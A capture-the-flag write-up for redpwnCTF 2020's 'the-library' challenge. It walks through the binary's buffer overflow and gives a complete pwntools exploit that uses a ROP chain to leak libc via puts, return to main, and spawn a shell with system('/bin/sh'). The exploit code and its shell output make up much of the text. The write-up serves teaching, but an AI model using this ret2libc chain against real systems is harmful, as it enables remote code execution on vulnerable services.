Skip to content

Latest commit

 

History

History
155 lines (112 loc) · 5.16 KB

File metadata and controls

155 lines (112 loc) · 5.16 KB

redpwnCTF 2020

pwn/the-library

NotDeGhost

424

There's not a lot of useful functions in the binary itself. I wonder where you can get some...

nc 2020.redpwnc.tf 31350

the-library.c libc.so.6 the-library

Tags: pwn x86-64 remote-shell rop bof

Summary

BOF -> ROP -> leak libc -> ret2main -> shell

Analysis

Checksec

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

No shellcode on the stack, but that's about it for mitigations. Easy read/write GOT, easy BOF, easy ROP.

Decompile with Ghidra

undefined8 main(void)

{
  char local_18 [16];
  
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("Welcome to the library... What\'s your name?");
  read(0,local_18,0x100);
  puts("Hello there: ");
  puts(local_18);
  return 0;
}

I still disassemble/decompile even if source included for the following reasons:

  1. Source can lie, it's true; at least two 2020 CTFs, the source did not exactly match the binary behavior. Probably older source, newer binary or vv. OTOH, at times the remote binary is not the same as the downloaded binary, in that case, perhaps the source is correct. Anyway, collect as much data as you can.
  2. The compiler may interpret the source differently than your head. This is especially true with stack offsets.
  3. I've developed a consistent workflow, checksec -> Ghidra -> explore a bit -> think about it.... I've gotten used to looking at binaries with Ghidra and while source code can vary widely, Ghidra normalizes this somewhat, at least for me, unless Go, Rust, etc... binaries, then it's back to basics, strings -> objdump -> testing -> googling -> panic :-) (Actually Go is doable, you get used to it, Rust is a completely different animal--this is a good thing).
  4. I've become very dependent on the Ghidra stack diagrams, esp. for BOF. Above, I know that the input buffer local_18 is exactly 0x18 from the return address in the stack. I also know if there are other variables where they are relative to each other so I can overflow just enough or avoid a canary, etc...

Moving on...

This is a simple BOF task, the input buffer is 0x18 bytes from the return address in the stack, and read will take up to 0x100 (256) bytes supporting a rather large ROP chain.

There's only one pass, and since ASLR will still obfuscate the location of libc, we'll have to leak that first and then jump back up to main. With libc location known, we can get a shell.

Exploit

#!/usr/bin/python3

from pwn import *

binary = ELF('./the-library')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc.so.6')
context.update(arch='amd64',os='linux')

rop = ROP([binary])
pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]

#p = process(binary.path)
p = remote('2020.redpwnc.tf', 31350)

Initial setup and find a pop rdi gadget from the binary.

payload  = 0x18 * b'A'
payload += p64(pop_rdi)
payload += p64(binary.got['puts'])
payload += p64(binary.plt['puts'])
payload += p64(binary.symbols['main'])

p.sendlineafter('name?',payload)

_ = p.recvuntil('Welcome').split(b'Welcome')[0].strip()[-6:]
puts = u64(_ + b'\x00\x00')
baselibc = puts - libc.symbols['puts']
print('baselibc',hex(baselibc))
libc.address = baselibc

First pass. Just overflow the buffer with 0x18 bytes, then using puts from the GOT, have it leak it's address, then jump back to main for a second pass.

With the puts address known and the version of libc provided, computing the base of libc is trivial.

payload  = 0x18 * b'A'
payload += p64(pop_rdi + 1)
payload += p64(pop_rdi)
payload += p64(libc.search(b"/bin/sh").__next__())
payload += p64(libc.symbols['system'])

p.sendlineafter('name?',payload)

p.interactive()

Final pass. Again overflow the buffer with 0x18 bytes, but this time call system from libc.

The p64(pop_rdi + 1) is actually ret (pop rdi is 2 bytes, the 2nd is ret). This fixes a stack alignment problem that would otherwise segfault system. Most of the time it is needed, but not always, and in one recent case, execve had to be used instead. See Blind Piloting more info as well as links if you want a deeper understanding (it's long, search for alignment).

Output:

# ./exploit.py
[*] '/pwd/datajerk/redpwnctf2020/the-library/the-library'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/pwd/datajerk/redpwnctf2020/the-library/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loading gadgets for '/pwd/datajerk/redpwnctf2020/the-library/the-library'
[+] Opening connection to 2020.redpwnc.tf on port 31350: Done
baselibc 0x7f10b1c0a000
[*] Switching to interactive mode

Hello there:
AAAAAAAAAAAAAAAAAAAAAAAA4\x07
$ cat flag.txt
flag{jump_1nt0_th3_l1brary}